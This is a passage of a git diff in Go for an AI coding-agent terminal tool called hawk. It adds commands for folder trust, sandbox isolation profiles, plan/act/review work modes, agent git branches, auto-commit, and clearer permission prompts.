diff --git a/cmd/chat.go b/cmd/chat.go index d92b15c8..7c8bbe8a 100644 --- a/cmd/chat.go +++ b/cmd/chat.go @@ -312,6 +312,10 @@ func newChatModelWithRegistry(ref *progRef, systemPrompt string, settings hawkco m.welcomeAgentsOK = quickSnapshot.agentsOK m.welcomeCache = buildWelcomeMessageWithSnapshot(sess, sid, registry, saved, settings, 0, connectedMCPCount(registry), false, initWidth, initHeight, nil, quickSnapshot, false, "") m.messages = append(m.messages, displayMsg{role: "welcome", content: m.welcomeCache}) + // First-session control-plane tip (skip when resuming history). + if saved == nil { + m.messages = append(m.messages, displayMsg{role: "system", content: controlPlaneOnboardingHint(sess)}) + } startup.EndPhase("newChatModel:welcome") // Wire permission system diff --git a/cmd/chat_commands.go b/cmd/chat_commands.go index a8034acb..0ba1a7b7 100644 --- a/cmd/chat_commands.go +++ b/cmd/chat_commands.go @@ -70,7 +70,7 @@ func ResetSlashCache() { } var allSlashCommands = []string{ - "/add", "/add-dir", "/agents", "/agents-init", "/audit", "/autonomy", "/branch", "/branches", "/bughunter", "/clean", "/clear", + "/add", "/add-dir", "/agents", "/agents-init", "/audit", "/auto-commit", "/autonomy", "/branch", "/branch-agent", "/branches", "/bughunter", "/clean", "/clear", "/check", "/color", "/commit", "/compact", "/compress", "/config", "/context", "/council", "/design", "/copy", "/cost", "/cron", "/ctx", "/diff", "/doctor", "/drop", "/effort", "/env", "/exit", "/explain", "/export", "/fast", "/feedback", "/files", "/focus", "/follow", "/fork", "/help", "/history", "/home", "/hooks", "/init", @@ -79,8 +79,9 @@ var allSlashCommands = []string{ "/power", "/pr-comments", "/provider-status", "/quit", "/recipe", "/recover", "/reflect", "/refresh-model-catalog", "/release-notes", "/image", "/reload-plugins", "/remote-env", "/rename", "/render", "/research", "/resume", "/retry", "/review", "/rewind", "/run", "/btw", "/brainstorm", "/checkpoint", "/dream", "/away", "/investigate", "/search", "/security-review", "/session", "/share", "/skills", "/snapshot", "/soul", "/spec", "/stale", "/stats", - "/mouse", "/select", "/status", "/statusline", "/summary", "/tag", "/taste", "/tasks", "/test", "/theme", "/think", "/thinkback", "/thinkback-play", "/tokens", "/tools", "/ultrareview", "/undo", "/upgrade", "/usage", + "/mouse", "/select", "/start", "/status", "/statusline", "/summary", "/tag", "/taste", "/tasks", "/test", "/theme", "/think", "/thinkback", "/thinkback-play", "/tokens", "/tools", "/trust", "/ultrareview", "/undo", "/upgrade", "/usage", "/version", "/vibe", "/vim", "/voice", "/welcome", "/ecosystem", "/path", "/yaad", + "/isolation", "/scroll-speed", "/scroll-invert", "/scroll-mode", "/terminal-setup", "/pager-config", "/prompt-queue", } @@ -240,7 +241,12 @@ var slashDescriptions = map[string]string{ "/skills": "List skills or manage: search, install, trending, info, remove, update, feedback, publish, audit", "/learn": "LLM-powered skill advisor (/learn deep for source analysis)", "/stats": "Show analytics stats", - "/status": "Show session info", + "/status": "Show session info (mode, isolation, trust, cost)", + "/start": "Guided setup: trust, mode, branch, first tasks", + "/trust": "Folder trust status / add / remove", + "/isolation": "Isolation profile: dev|workspace|strict|container", + "/branch-agent": "Create hawk/agent-* branch if on main/master", + "/auto-commit": "Toggle git auto-commit after Write/Edit (on|off)", "/summary": "Summarize the session", "/tasks": "Show task list", "/test": "Run tests, add failures to context", diff --git a/cmd/chat_subcommand_auto_commit.go b/cmd/chat_subcommand_auto_commit.go new file mode 100644 index 00000000..ef057d4c --- /dev/null +++ b/cmd/chat_subcommand_auto_commit.go @@ -0,0 +1,53 @@ +package cmd + +import ( + "fmt" + "strings" + + tea "charm.land/bubbletea/v2" +) + +// autoCommitSubcommand toggles git auto-commit after Write/Edit. +type autoCommitSubcommand struct{} + +func (c *autoCommitSubcommand) Name() string { return "auto-commit" } +func (c *autoCommitSubcommand) Aliases() []string { return []string{"autocommit"} } +func (c *autoCommitSubcommand) Description() string { + return "auto-commit after Write/Edit: on|off|status" +} +func (c *autoCommitSubcommand) Usage() string { return "/auto-commit [on|off|status]" } + +func (c *autoCommitSubcommand) Handle(m *chatModel, args []string, text string) (tea.Model, tea.Cmd) { + if m.session == nil { + m.messages = append(m.messages, displayMsg{role: "error", content: "No session"}) + return m, nil + } + action := "status" + if len(args) > 0 { + action = strings.ToLower(args[0]) + } + switch action { + case "status", "show", "": + state := "off" + if m.session.AutoCommit() { + state = "on" + } + m.messages = append(m.messages, displayMsg{role: "system", content: fmt.Sprintf( + "Auto-commit: %s\nWhen on, successful Write/Edit/StructuredEdit run `git add` + `git commit` for that file.\nTip: use /branch-agent first so commits stay off main.", + state, + )}) + case "on", "enable", "true", "1": + m.session.SetAutoCommit(true) + m.messages = append(m.messages, displayMsg{role: "system", content: "Auto-commit → on (Write/Edit will commit)"}) + case "off", "disable", "false", "0": + m.session.SetAutoCommit(false) + m.messages = append(m.messages, displayMsg{role: "system", content: "Auto-commit → off"}) + default: + m.messages = append(m.messages, displayMsg{role: "error", content: "Usage: /auto-commit [on|off|status]"}) + } + return m, nil +} + +func init() { + subcommandRegistry.Register(&autoCommitSubcommand{}) +} diff --git a/cmd/chat_subcommand_branch_agent.go b/cmd/chat_subcommand_branch_agent.go new file mode 100644 index 00000000..4b9e6330 --- /dev/null +++ b/cmd/chat_subcommand_branch_agent.go @@ -0,0 +1,49 @@ +package cmd + +import ( + "fmt" + + tea "charm.land/bubbletea/v2" + + "github.com/GrayCodeAI/hawk/internal/engine" + "github.com/GrayCodeAI/hawk/internal/ui/icons" +) + +// branchAgentSubcommand creates a hawk/agent-* branch from main/master. +type branchAgentSubcommand struct{} + +func (c *branchAgentSubcommand) Name() string { return "branch-agent" } +func (c *branchAgentSubcommand) Aliases() []string { return []string{"agent-branch"} } +func (c *branchAgentSubcommand) Description() string { + return "create hawk/agent-* branch if on main/master" +} +func (c *branchAgentSubcommand) Usage() string { return "/branch-agent" } + +func (c *branchAgentSubcommand) Handle(m *chatModel, args []string, text string) (tea.Model, tea.Cmd) { + info := engine.InspectGitBranch("") + if !info.HasRepo { + m.messages = append(m.messages, displayMsg{role: "error", content: "Not a git repository."}) + return m, nil + } + if !info.OnDefault { + m.messages = append(m.messages, displayMsg{role: "system", content: fmt.Sprintf( + "Already on `%s` (not a default branch). No change.", info.Branch, + )}) + return m, nil + } + name, err := engine.EnsureAgentBranch("") + if err != nil { + m.messages = append(m.messages, displayMsg{role: "error", content: err.Error()}) + return m, nil + } + m.refreshStatusBarLeft(true) + m.messages = append(m.messages, displayMsg{role: "system", content: fmt.Sprintf( + "%s Checked out `%s` — agent edits stay off %s.\nTip: `/commit` when ready.", + icons.CheckBold(), name, info.Branch, + )}) + return m, nil +} + +func init() { + subcommandRegistry.Register(&branchAgentSubcommand{}) +} diff --git a/cmd/chat_subcommand_help.go b/cmd/chat_subcommand_help.go index 4b2e0909..3a67fa29 100644 --- a/cmd/chat_subcommand_help.go +++ b/cmd/chat_subcommand_help.go @@ -15,7 +15,7 @@ func helpCategory(cmdName string) string { switch cmdName { case "/help", "/model", "/config", "/quit", "/exit", "/clear", "/compact", "/undo", "/snapshot", "/recover", "/new", "/copy", "/welcome": return "Core" - case "/review", "/commit", "/test", "/lint", "/diff", "/status", "/audit", "/security-review", "/check", "/bughunter", "/hunt", "/ultrareview": + case "/review", "/commit", "/test", "/lint", "/diff", "/status", "/audit", "/security-review", "/check", "/bughunter", "/hunt", "/ultrareview", "/start", "/branch-agent", "/auto-commit": return "Workflow" case "/agents", "/agents-init", "/mission", "/exec", "/research", "/loop", "/council", "/dream", "/investigate", "/vibe": return "Agent" @@ -25,7 +25,7 @@ func helpCategory(cmdName string) string { return "Tools" case "/doctor", "/cost", "/usage", "/metrics", "/stats", "/integrity", "/stale", "/tokens", "/provider-status": return "Diagnostics" - case "/autonomy", "/spec", "/vim", "/theme", "/color", "/mouse", "/select", "/focus", "/follow", "/output-style", "/statusline", "/keybindings", "/voice", "/remote-env", "/refresh-model-catalog": + case "/autonomy", "/spec", "/vim", "/theme", "/color", "/mouse", "/select", "/focus", "/follow", "/output-style", "/statusline", "/keybindings", "/voice", "/remote-env", "/refresh-model-catalog", "/mode", "/isolation", "/trust": return "Settings" default: return "Other" diff --git a/cmd/chat_subcommand_isolation.go b/cmd/chat_subcommand_isolation.go new file mode 100644 index 00000000..fbcac867 --- /dev/null +++ b/cmd/chat_subcommand_isolation.go @@ -0,0 +1,61 @@ +package cmd + +import ( + "fmt" + "strings" + + tea "charm.land/bubbletea/v2" + + "github.com/GrayCodeAI/hawk/internal/engine" +) + +// isolationSubcommand sets the unified IsolationProfile: OS sandbox + container story. +type isolationSubcommand struct{} + +func (c *isolationSubcommand) Name() string { return "isolation" } +func (c *isolationSubcommand) Aliases() []string { return []string{"iso"} } +func (c *isolationSubcommand) Description() string { + return "isolation profile: dev|workspace|strict|container" +} + +func (c *isolationSubcommand) Usage() string { + return "/isolation [dev|workspace|strict|container|os=workspace,container=1]" +} + +func (c *isolationSubcommand) Handle(m *chatModel, args []string, text string) (tea.Model, tea.Cmd) { + if m.session == nil { + m.messages = append(m.messages, displayMsg{role: "error", content: "No session"}) + return m, nil + } + if len(args) == 0 { + p := m.session.Isolation() + m.messages = append(m.messages, displayMsg{role: "system", content: fmt.Sprintf( + "Isolation: %s\n OS sandbox: %s\n Container required: %v\nPresets: dev | workspace | strict | container", + p.String(), p.OSMode, p.ContainerRequired, + )}) + return m, nil + } + raw := strings.Join(args, " ") + p, err := engine.ParseIsolationProfile(raw) + if err != nil { + m.messages = append(m.messages, displayMsg{role: "error", content: err.Error()}) + return m, nil + } + m.session.ApplyIsolationProfile(p) + detail := fmt.Sprintf("Isolation → %s\n OS sandbox: %s\n Container required: %v", + p.String(), p.OSMode, p.ContainerRequired) + switch { + case p.ContainerRequired: + detail += "\n Tools wait until Docker sandbox is ready." + case p.OSMode == "workspace" || p.OSMode == "strict": + detail += "\n Bash/PowerShell use OS wrap when a backend is available (seatbelt/unshare)." + default: + detail += "\n Host shell (no OS wrap). Prefer workspace for safer agent runs." + } + m.messages = append(m.messages, displayMsg{role: "system", content: detail}) + return m, nil +} + +func init() { + subcommandRegistry.Register(&isolationSubcommand{}) +} diff --git a/cmd/chat_subcommand_mode.go b/cmd/chat_subcommand_mode.go index 4d2f05d2..a47a5c47 100644 --- a/cmd/chat_subcommand_mode.go +++ b/cmd/chat_subcommand_mode.go @@ -6,38 +6,84 @@ import ( tea "charm.land/bubbletea/v2" + "github.com/GrayCodeAI/hawk/internal/engine" "github.com/GrayCodeAI/hawk/internal/feature/shellmode" ) -// modeSubcommand implements the /mode slash command. It shows or -// changes the chat's mode (auto, shell, agent, or toggle). +// modeSubcommand implements the /mode slash command. +// +// Two layers: +// - Work modes (plan|act|review): tool visibility + read-only bash (control plane) +// - Shell modes (auto|shell|agent|toggle): input routing for the TUI type modeSubcommand struct{} func (mo *modeSubcommand) Name() string { return "mode" } func (mo *modeSubcommand) Aliases() []string { return nil } func (mo *modeSubcommand) Description() string { - return "show or change the chat mode (auto|shell|agent|toggle)" + return "work mode (plan|act|review) or shell mode (auto|shell|agent|toggle)" } -func (mo *modeSubcommand) Usage() string { return "/mode [auto|shell|agent|toggle]" } + +func (mo *modeSubcommand) Usage() string { + return "/mode [plan|act|review|auto|shell|agent|toggle]" +} + func (mo *modeSubcommand) Handle(m *chatModel, args []string, text string) (tea.Model, tea.Cmd) { if len(args) == 0 { - current := m.modeManager.Current() - m.messages = append(m.messages, displayMsg{role: "system", content: fmt.Sprintf("Mode: %s (auto | shell | agent)", current.String())}) + shell := m.modeManager.Current().String() + work := engine.WorkModeAct + if m.session != nil { + work = m.session.WorkMode() + } + iso := "dev" + if m.session != nil { + iso = m.session.Isolation().String() + } + tr := engine.ProjectTrust("") + ac := "off" + if m.session != nil && m.session.AutoCommit() { + ac = "on" + } + visible := 0 + if m.session != nil && m.session.Tools() != nil && m.session.Tools().Registry() != nil { + visible = len(m.session.Tools().Registry().EyrieTools()) + } + m.messages = append(m.messages, displayMsg{role: "system", content: fmt.Sprintf( + "Work mode: %s (plan | act | review)\nShell mode: %s (auto | shell | agent)\nIsolation: %s\nTrust: %s\nAuto-commit: %s\nTools visible: %d\n\n/start · /isolation · /trust · /branch-agent · /auto-commit", + work, shell, iso, tr.String(), ac, visible, + )}) return m, nil } arg := strings.ToLower(args[0]) + + // Work modes first (product control plane). + if wm, err := engine.ParseWorkMode(arg); err == nil && + (arg == "plan" || arg == "act" || arg == "review" || + arg == "planning" || arg == "research" || arg == "build" || + arg == "inspect" || arg == "readonly" || arg == "read-only" || arg == "ro") { + if m.session == nil { + m.messages = append(m.messages, displayMsg{role: "error", content: "No session for work mode"}) + return m, nil + } + if err := m.session.SetWorkMode(wm); err != nil { + m.messages = append(m.messages, displayMsg{role: "error", content: err.Error()}) + return m, nil + } + m.messages = append(m.messages, displayMsg{role: "system", content: workModeSwitchSummary(m.session, wm)}) + return m, nil + } + if arg == "toggle" { newMode := m.modeManager.Toggle() - m.messages = append(m.messages, displayMsg{role: "system", content: fmt.Sprintf("Mode → %s", newMode.String())}) + m.messages = append(m.messages, displayMsg{role: "system", content: fmt.Sprintf("Shell mode → %s", newMode.String())}) return m, nil } mode, ok := shellmode.ParseMode(arg) if !ok { - m.messages = append(m.messages, displayMsg{role: "error", content: "Usage: /mode [auto|shell|agent|toggle]"}) + m.messages = append(m.messages, displayMsg{role: "error", content: "Usage: /mode [plan|act|review|auto|shell|agent|toggle]"}) return m, nil } m.modeManager.Set(mode) - m.messages = append(m.messages, displayMsg{role: "system", content: fmt.Sprintf("Mode → %s", mode.String())}) + m.messages = append(m.messages, displayMsg{role: "system", content: fmt.Sprintf("Shell mode → %s", mode.String())}) return m, nil } diff --git a/cmd/chat_subcommand_start.go b/cmd/chat_subcommand_start.go new file mode 100644 index 00000000..d05dc62a --- /dev/null +++ b/cmd/chat_subcommand_start.go @@ -0,0 +1,101 @@ +package cmd + +import ( + "fmt" + "strings" + + tea "charm.land/bubbletea/v2" + + "github.com/GrayCodeAI/hawk/internal/engine" +) + +// startSubcommand is the first-run / guided success path. +type startSubcommand struct{} + +func (c *startSubcommand) Name() string { return "start" } +func (c *startSubcommand) Aliases() []string { return []string{"onboard", "quickstart"} } +func (c *startSubcommand) Description() string { + return "guided setup: trust, mode, branch, first task" +} +func (c *startSubcommand) Usage() string { return "/start [trust] [branch]" } + +func (c *startSubcommand) Handle(m *chatModel, args []string, text string) (tea.Model, tea.Cmd) { + autoTrust := false + autoBranch := false + for _, a := range args { + switch strings.ToLower(a) { + case "trust": + autoTrust = true + case "branch", "agent-branch": + autoBranch = true + } + } + + var b strings.Builder + b.WriteString("## Hawk quick start\n\n") + + // 1. Model / session + if m.session != nil { + b.WriteString(fmt.Sprintf("1. **Session** %s · %s/%s\n", + m.sessionID, m.session.Provider(), m.session.Model())) + } else { + b.WriteString("1. **Session** missing — restart chat.\n") + } + + // 2. Trust + tr := engine.ProjectTrust("") + if autoTrust && tr.Enforced && !tr.Trusted { + if err := engine.TrustProject("", "onboarding /start trust"); err == nil { + tr = engine.ProjectTrust("") + b.WriteString("2. **Trust** — trusted this folder for project automation.\n") + } else { + b.WriteString(fmt.Sprintf("2. **Trust** — failed: %v\n", err)) + } + } else if tr.Blocked { + b.WriteString("2. **Trust** — project is NOT trusted (hooks/MCP blocked).\n") + b.WriteString(" → `/trust add` or `/start trust`\n") + } else { + b.WriteString(fmt.Sprintf("2. **Trust** — %s\n", tr.String())) + } + + // 3. Work mode + if m.session != nil { + _ = m.session.SetWorkMode(engine.WorkModeAct) + b.WriteString(fmt.Sprintf("3. **Work mode** → %s (use `/mode plan` to research first)\n", m.session.WorkMode())) + b.WriteString(fmt.Sprintf("4. **Isolation** → %s (`/isolation workspace` for safer shell)\n", m.session.Isolation().String())) + } + + // 5. Git branch + gi := engine.InspectGitBranch("") + if autoBranch && gi.HasRepo && gi.OnDefault { + name, err := engine.EnsureAgentBranch("") + if err != nil { + b.WriteString(fmt.Sprintf("5. **Git** — could not create agent branch: %v\n", err)) + } else { + b.WriteString(fmt.Sprintf("5. **Git** — created and checked out `%s`\n", name)) + m.refreshStatusBarLeft(true) + } + } else if advice := engine.GitSafetyAdvice(gi); advice != "" { + b.WriteString(fmt.Sprintf("5. **Git** — %s\n", advice)) + if gi.OnDefault { + b.WriteString(" → `/branch-agent` or `/start branch`\n") + } + } else { + b.WriteString("5. **Git** — not a git repo (ok for scratch work)\n") + } + + // 6. First tasks + b.WriteString("\n### Try one of these\n") + b.WriteString("- *Explain the project layout*\n") + b.WriteString("- *Run the test suite and fix failures*\n") + b.WriteString("- *`/mode plan` then: plan a small safe refactor*\n") + b.WriteString("\n### Power shortcuts\n") + b.WriteString("`/mode plan|act|review` · `/isolation` · `/trust` · `/cost` · `/help`\n") + + m.messages = append(m.messages, displayMsg{role: "system", content: strings.TrimSpace(b.String())}) + return m, nil +} + +func init() { + subcommandRegistry.Register(&startSubcommand{}) +} diff --git a/cmd/chat_subcommand_status.go b/cmd/chat_subcommand_status.go index d5e9ca90..5d7c556e 100644 --- a/cmd/chat_subcommand_status.go +++ b/cmd/chat_subcommand_status.go @@ -5,6 +5,9 @@ import ( "strings" tea "charm.land/bubbletea/v2" + + "github.com/GrayCodeAI/hawk/internal/engine" + "github.com/GrayCodeAI/hawk/internal/ui/icons" ) // statusSubcommand implements the /status slash command. It prints @@ -25,14 +28,42 @@ func (s *statusSubcommand) Handle(m *chatModel, args []string, text string) (tea // out of the original handleCommand switch case so the subcommand // file can stay self-contained. func buildStatusInfo(m *chatModel) string { + if m == nil || m.session == nil { + return "No active session." + } toolCount := 0 + visible := 0 if m.registry != nil { - toolCount = len(m.registry.EyrieTools()) + toolCount = len(m.registry.PrimaryTools()) + visible = len(m.registry.EyrieTools()) + } + work := string(m.session.WorkMode()) + if work == "" { + work = "act" } - info := fmt.Sprintf("Session: %s\nModel: %s/%s\nMode: %s\nSpec stage: %s\nMessages: %d\nTools: %d\n%s", + iso := m.session.Isolation().String() + tr := engine.ProjectTrust("") + git := engine.InspectGitBranch("") + ac := "off" + if m.session.AutoCommit() { + ac = "on" + } + shell := "agent" + if m.modeManager != nil { + shell = m.modeManager.Current().String() + } + info := fmt.Sprintf( + "Session: %s\nModel: %s/%s\nShell mode: %s\nWork mode: %s\nIsolation: %s\nAuto-commit: %s\nFolder trust: %s\nSpec stage: %s\nMessages: %d\nTools: %d visible / %d registered\nGit: %s\n%s", m.sessionID, m.session.Provider(), m.session.Model(), - m.modeManager.Current().String(), - specStageLabel(m.session), m.session.MessageCount(), toolCount, m.session.CostValue().Summary()) + shell, work, iso, ac, tr.String(), + specStageLabel(m.session), m.session.MessageCount(), + visible, toolCount, + engine.GitSafetyAdvice(git), + m.session.CostValue().Summary(), + ) + if tr.Blocked { + info += "\n" + icons.Alert() + " " + tr.Detail() + } if len(addDirs) > 0 { info += "\nAdditional dirs: " + strings.Join(addDirs, ", ") } diff --git a/cmd/chat_subcommand_trust.go b/cmd/chat_subcommand_trust.go new file mode 100644 index 00000000..f205b8cc --- /dev/null +++ b/cmd/chat_subcommand_trust.go @@ -0,0 +1,50 @@ +package cmd + +import ( + "fmt" + "strings" + + tea "charm.land/bubbletea/v2" + + "github.com/GrayCodeAI/hawk/internal/engine" + "github.com/GrayCodeAI/hawk/internal/ui/icons" +) + +// trustSubcommand manages folder trust from the chat TUI. +type trustSubcommand struct{} + +func (c *trustSubcommand) Name() string { return "trust" } +func (c *trustSubcommand) Aliases() []string { return nil } +func (c *trustSubcommand) Description() string { return "folder trust: status | add | remove" } +func (c *trustSubcommand) Usage() string { return "/trust [status|add|remove]" } + +func (c *trustSubcommand) Handle(m *chatModel, args []string, text string) (tea.Model, tea.Cmd) { + action := "status" + if len(args) > 0 { + action = strings.ToLower(args[0]) + } + switch action { + case "status", "check", "show", "": + st := engine.ProjectTrust("") + m.messages = append(m.messages, displayMsg{role: "system", content: st.Detail()}) + case "add", "allow", "yes": + if err := engine.TrustProject("", "chat /trust add"); err != nil { + m.messages = append(m.messages, displayMsg{role: "error", content: err.Error()}) + return m, nil + } + m.messages = append(m.messages, displayMsg{role: "system", content: icons.CheckBold() + " Project trusted. Project hooks/MCP/plugins may load.\n" + engine.ProjectTrust("").Detail()}) + case "remove", "revoke", "untrust": + if err := engine.UntrustProject(""); err != nil { + m.messages = append(m.messages, displayMsg{role: "error", content: err.Error()}) + return m, nil + } + m.messages = append(m.messages, displayMsg{role: "system", content: "Removed folder trust for this project."}) + default: + m.messages = append(m.messages, displayMsg{role: "error", content: fmt.Sprintf("Usage: %s", c.Usage())}) + } + return m, nil +} + +func init() { + subcommandRegistry.Register(&trustSubcommand{}) +} diff --git a/cmd/chat_tools.go b/cmd/chat_tools.go index 4bc2f5db..dcfa3bb7 100644 --- a/cmd/chat_tools.go +++ b/cmd/chat_tools.go @@ -231,8 +231,15 @@ func defaultRegistry(settings hawkconfig.Settings) (*tool.Registry, error) { return nil, err } registry := tool.NewRegistry(filtered...) + // Lazy model surface: only essential tools are sent to the LLM. + // Optional tools register for Get/ToolSearch and promote via select:. + essentialNames := make([]string, 0, len(filtered)) + for _, t := range filtered { + essentialNames = append(essentialNames, t.Name()) + } + registry.EnableLazyModelSurface(essentialNames) - // Lazy-load optional tools in background + // Lazy-load optional tools in background (executable, not model-visible). go func() { for _, t := range optionalTools() { _ = registry.Register(t) diff --git a/cmd/chat_update.go b/cmd/chat_update.go index bb5eab97..0830ab5c 100644 --- a/cmd/chat_update.go +++ b/cmd/chat_update.go @@ -873,7 +873,7 @@ func (m chatModel) Update(msg tea.Msg) (tea.Model, tea.Cmd) { return m, nil case "?": // Quick help — show contextual help summary in chat. - m.messages = append(m.messages, displayMsg{role: "system", content: "Quick help:\n /help — list all commands\n /help — detailed help (e.g., /help /commit)\n ctrl+K — command palette\n ctrl+L — cycle autonomy tiers\n ctrl+N — switch model\n ctrl+R — search input history\n ? — show this help\n Type / to see slash commands, or ask a question to get started."}) + m.messages = append(m.messages, displayMsg{role: "system", content: "Quick help:\n /start — guided setup (trust, mode, branch)\n /mode plan|act — research vs build\n /isolation — sandbox profile\n /help — list all commands\n /help — detailed help (e.g., /help /commit)\n ctrl+K — command palette\n ctrl+L — cycle autonomy tiers\n ctrl+N — switch model\n ctrl+R — search input history\n ? — show this help\n Type / to see slash commands, or ask a question to get started."}) m.viewDirty = true m.updateViewportContent() return m, nil @@ -1192,7 +1192,10 @@ func (m chatModel) Update(msg tea.Msg) (tea.Model, tea.Cmd) { m.permReq = &msg.req m.permReqSeq++ m.permTimeoutAt = time.Now().Add(5 * time.Minute) - m.messages = append(m.messages, displayMsg{role: "permission", content: msg.req.Summary, timeoutAt: m.permTimeoutAt}) + // Display-only enrichment (risk + why). Keep req.Summary as ToolSummary + // for AutoMode / memory matching after y/n/a/d. + permBody := engine.FormatPermissionDisplay(msg.req.ToolName, msg.req.Summary) + m.messages = append(m.messages, displayMsg{role: "permission", content: permBody, timeoutAt: m.permTimeoutAt}) m.viewDirty = true m.updateViewportContent() return m, permissionPromptTimeoutCmd(m.permReqSeq) @@ -1446,10 +1449,12 @@ func (m chatModel) Update(msg tea.Msg) (tea.Model, tea.Cmd) { if msg.sandbox != nil { m.containerSandbox = msg.sandbox if m.session != nil { + m.session.ApplyIsolationProfile(engine.IsolationContainer) m.session.SetContainerExecutor(msg.sandbox) } } if msg.ready && m.session != nil { + m.session.ApplyIsolationProfile(engine.IsolationContainer) if m.session.PermSvc().Autonomy() == 0 && !m.session.PermSvc().AutonomyExplicit() { m.session.PermSvc().SetAutonomy(DefaultContainerAutonomy) } diff --git a/cmd/chat_view.go b/cmd/chat_view.go index b0df7337..798b3f9f 100644 --- a/cmd/chat_view.go +++ b/cmd/chat_view.go @@ -523,18 +523,34 @@ func (m chatModel) terminalView(content string) tea.View { // so the user can see how long they have to decide before the prompt auto-dismisses. func renderPermissionBox(summary string, width int, timeoutAt time.Time) string { title := lipgloss.NewStyle().Foreground(warnAmber).Bold(true).Render(icons.Alert() + " Permission required") - body := lipgloss.NewStyle().Foreground(textWhite).Render(summary) - options := lipgloss.NewStyle().Foreground(hawkColor).Render("[y]es [n]o [a]lways [d]eny always") - - rows := []string{ - lipgloss.JoinHorizontal(lipgloss.Top, title, " ", body), + // Multi-line body: risk badge, action summary, short "why" (from FormatPermissionDisplay). + bodyWidth := width - 10 + if bodyWidth < 20 { + bodyWidth = 20 + } + bodyLines := strings.Split(summary, "\n") + var bodyParts []string + for i, line := range bodyLines { + wrapped := wrapText(line, bodyWidth, 0) + if i == 0 { + bodyParts = append(bodyParts, lipgloss.NewStyle().Foreground(warnAmber).Bold(true).Render(wrapped)) + } else if i == len(bodyLines)-1 && strings.HasPrefix(strings.TrimSpace(line), "Why:") { + bodyParts = append(bodyParts, lipgloss.NewStyle().Foreground(textMuted).Render(wrapped)) + } else { + bodyParts = append(bodyParts, lipgloss.NewStyle().Foreground(textWhite).Render(wrapped)) + } } + body := lipgloss.JoinVertical(lipgloss.Left, bodyParts...) + options := lipgloss.NewStyle().Foreground(hawkColor).Render("[y] allow once [n] deny [a] always allow tool [d] always deny tool") + hint := lipgloss.NewStyle().Foreground(textMuted).Render("Esc cancels · prompt times out after 5 minutes") + + rows := []string{title, "", body} // Countdown bar — only when a deadline is active. if !timeoutAt.IsZero() { bar := renderCountdownBar(timeoutAt, width-10) rows = append(rows, "", bar) } - rows = append(rows, "", options) + rows = append(rows, "", options, hint) inner := lipgloss.JoinVertical(lipgloss.Left, rows...) // Bordered box with amber highlight so the prompt stands out in scrollback. diff --git a/cmd/chat_welcome.go b/cmd/chat_welcome.go index 40f0dd77..d6b403f4 100644 --- a/cmd/chat_welcome.go +++ b/cmd/chat_welcome.go @@ -249,11 +249,16 @@ func toolListSummary(registry *tool.Registry) string { return "No tools enabled." } tools := registry.EyrieTools() + registered := len(registry.PrimaryTools()) if len(tools) == 0 { return "No tools enabled." } var b strings.Builder - b.WriteString(fmt.Sprintf("Enabled tools (%d):\n", len(tools))) + if registered > len(tools) { + b.WriteString(fmt.Sprintf("Model-visible tools (%d of %d registered — lazy surface):\n", len(tools), registered)) + } else { + b.WriteString(fmt.Sprintf("Enabled tools (%d):\n", len(tools))) + } for _, t := range tools { desc := t.Description if runes := []rune(desc); len(runes) > 96 { @@ -261,6 +266,9 @@ func toolListSummary(registry *tool.Registry) string { } b.WriteString(fmt.Sprintf(" %s — %s\n", t.Name, desc)) } + if registered > len(tools) { + b.WriteString("\nUnlock more: ToolSearch with query select:") + } return strings.TrimRight(b.String(), "\n") } diff --git a/cmd/container_boot.go b/cmd/container_boot.go index f9980473..df2fadf3 100644 --- a/cmd/container_boot.go +++ b/cmd/container_boot.go @@ -55,7 +55,8 @@ func attachRequiredContainer(sess *engine.Session, projectDir string) (*sandbox. if sess == nil { return nil, fmt.Errorf("docker container required: session is unavailable") } - sess.SetContainerRequired(true) + // Keep IsolationProfile in sync with Docker-required execution (single story). + sess.ApplyIsolationProfile(engine.IsolationContainer) cs, err := startRequiredContainer(projectDir) if err != nil { return nil, fmt.Errorf("docker container required: %w", err) diff --git a/cmd/control_plane_hints.go b/cmd/control_plane_hints.go new file mode 100644 index 00000000..3ebb12df --- /dev/null +++ b/cmd/control_plane_hints.go @@ -0,0 +1,47 @@ +package cmd + +import ( + "fmt" + "strings" + + "github.com/GrayCodeAI/hawk/internal/engine" + "github.com/GrayCodeAI/hawk/internal/ui/icons" +) + +// controlPlaneOnboardingHint is a short first-session tip (not a wall of text). +func controlPlaneOnboardingHint(sess *engine.Session) string { + var lines []string + lines = append(lines, "Quick path: /start · /mode plan|act · /isolation workspace") + + tr := engine.ProjectTrust("") + if tr.Blocked { + lines = append(lines, icons.Alert()+" Folder not trusted — project hooks/MCP blocked. /trust add") + } + if gi := engine.InspectGitBranch(""); gi.OnDefault { + lines = append(lines, fmt.Sprintf("%s On %s — /branch-agent before large edits", icons.Alert(), gi.Branch)) + } + if sess != nil { + lines = append(lines, fmt.Sprintf("Now: work=%s · iso=%s · auto-commit=%v", + sess.WorkMode(), sess.Isolation().String(), sess.AutoCommit())) + } + lines = append(lines, "Tip: edits show a unified diff; permissions show risk + why.") + return strings.Join(lines, "\n") +} + +// workModeSwitchSummary is the polished confirmation after /mode plan|act|review. +func workModeSwitchSummary(sess *engine.Session, wm engine.WorkMode) string { + hint := "" + switch wm { + case engine.WorkModePlan: + hint = "Research only — no file writes; bash is read-only." + case engine.WorkModeReview: + hint = "Inspect with evidence — no writes; bash is read-only." + default: + hint = "Build mode — essential tools visible; use ToolSearch select:Name for more." + } + visible := 0 + if sess != nil && sess.Tools() != nil && sess.Tools().Registry() != nil { + visible = len(sess.Tools().Registry().EyrieTools()) + } + return fmt.Sprintf("Work mode → %s\n%s\nModel-visible tools: %d · /status for full control plane", wm, hint, visible) +} diff --git a/cmd/options.go b/cmd/options.go index a2507147..8326de88 100644 --- a/cmd/options.go +++ b/cmd/options.go @@ -311,7 +311,24 @@ func configureSession(sess *engine.Session, settings hawkconfig.Settings, maxTur func configureSessionStartup(sess *engine.Session, settings hawkconfig.Settings, maxTurnsOverride ...int) error { sess.WireAgentTool() sess.SetAllowedDirs(addDirs) - sess.PermSvc().SetSandboxMode(sandbox.ParseMode(effectivePermissionSandbox(settings))) + // Unified isolation profile (OS sandbox + optional container-required). + // Prefer ApplyIsolationProfile over setting SandboxMode alone. + osMode := sandbox.ParseMode(effectivePermissionSandbox(settings)) + iso := engine.IsolationProfile{OSMode: osMode, Label: string(osMode)} + if iso.Label == "" || iso.Label == string(sandbox.Mode("")) { + iso.Label = "dev" + iso.OSMode = sandbox.ModeOff + } + // When Docker container path is the product default, faces may set + // ContainerRequired after attachRequiredContainer; startup only applies OS mode. + sess.ApplyIsolationProfile(iso) + _ = 